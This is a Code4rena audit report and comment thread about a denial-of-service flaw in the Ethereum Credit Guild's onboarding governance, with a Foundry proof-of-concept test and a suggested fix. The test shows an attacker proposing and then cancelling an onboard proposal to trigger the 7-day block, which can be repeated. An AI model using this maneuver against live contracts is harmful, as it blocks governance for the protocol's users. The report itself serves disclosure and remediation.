Malicious Actor Can Permanently Block Onboarding

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOnboarding.sol#L187-L192
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/GuildGovernor.sol#L18

Vulnerability details

Impact

A vulnerability in the onboarding process allows a malicious actor to exploit the LendingTermOnboarding.proposeOnboard() and Governor.cancel() functions in a manner that can lead to permanent disruption. This actor can initiate an onboard proposal and then cancel it, triggering the MIN_DELAY_BETWEEN_PROPOSALS period (7 days).

As this action can be repeated indefinitely, it presents a risk of permanently blocking the onboarding of new terms.

Proof of Concept

1. Create a new term: Set up a new lending term with specific parameters.
2. Mint GUILD & self delegate for attacker: Mint GUILD tokens and delegate them to a malicious actor.
3. Proposal and Cancellation Maneuver: Demonstrate how an onboard proposal can be made and subsequently canceled.
4. Validation of Proposal Blockage: Verify that a new proposal cannot be initiated due to the delay enforced by the previous cancellation.

Add this test function to test/unit/governance/LendingTermOnboarding.t.sol:

function testAuditProposeOnboardCancel() public {

    //
    // 1. Create a new term
    //

    LendingTerm term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
        collateralToken: address(collateral),
        maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
        interestRate: _INTEREST_RATE,
        maxDelayBetweenPartialRepay: 0,
        minPartialRepayPercent: 0,
        openingFee: 0,
        hardCap: _HARDCAP
    })));
    vm.label(address(term), "term");
    
    //
    // 2. Mint GUILD & self delegate for attacker
    //

    guild.mint(alice, _PROPOSAL_THRESHOLD);
    vm.prank(alice);
    guild.delegate(alice);
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    //
    // 3. Proposal and Cancellation Maneuver
    //

    vm.startPrank(alice);
    uint256 proposalId = onboarder.proposeOnboard(address(term));
    (
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) = onboarder.getOnboardProposeArgs(address(term));
    onboarder.cancel(targets, values, calldatas, keccak256(bytes(description)));
    vm.stopPrank();

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    //
    // 4. Validation of Proposal Blockage
    //

    // proposal canceled
    assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Canceled));

    // cannot propose onboard again due to MIN_DELAY_BETWEEN_PROPOSALS (7 days)
    vm.expectRevert("LendingTermOnboarding: recently proposed");
    onboarder.proposeOnboard(address(term));
}

Run the test with forge test -vv --match-test testAuditProposeOnboardCancel. Expected output:

[⠰] Compiling...
[⠒] Compiling 1 files with 0.8.13
[⠆] Solc 0.8.13 finished in 8.69s
Compiler run successful!

Running 1 test for test/unit/governance/LendingTermOnboarding.t.sol:LendingTermOnboardingUnitTest
[PASS] testAuditProposeOnboardCancel() (gas: 743638)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.53ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

It is advised to override in LendingTermOnboarding.sol the cancel() function in a manner similar to the propose() function, with a revert statement to block its execution. This will ensure that the propose and cancel functions cannot be used in tandem to perpetually block the onboarding process.

Updated LendingTermOnboarding.sol:

// Override to prevent proposal cancellation
function cancel(
    address[] memory targets,
    uint256[] memory values,
    bytes[] memory calldatas,
    bytes32 descriptionHash
) public pure override(IGovernor, Governor) returns (uint256) {
    revert("LendingTermOnboarding: cannot cancel proposal");
}

Assessed type

DoS

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1125

[c4-judge]

Trumpero changed the severity to QA (Quality Assurance)

[c4-judge]

Trumpero marked the issue as grade-a

[c4-judge]

Trumpero marked the issue as grade-c

[alexzoid-eth]

Hey @Trumpero, thanks for judging! Any reason the grade-a was changed to grade-c considering that working PoC was implemented?

[Trumpero]

Hey @Trumpero, thanks for judging! Any reason the grade-a was changed to grade-c considering that working PoC was implemented?

When an issue is downgraded to QA, it will be counted in the QA report of the warden. After judging QA reports, including all downgraded issues, those downgraded issues of that warden will be given the same grade label based on QA points of the warden. In this contest, you don't have a good enough QA points to surpass the grade-b threshold. You have a total of 1 Low (this issue), so you have only 5 points in my evaluation (5 points for low, 1 point for R/NC, 0 for info). However, the threshold for grade-b is 25 points (adjusted from 60% points of the best QA report), so your QA issue should be marked as grade-c.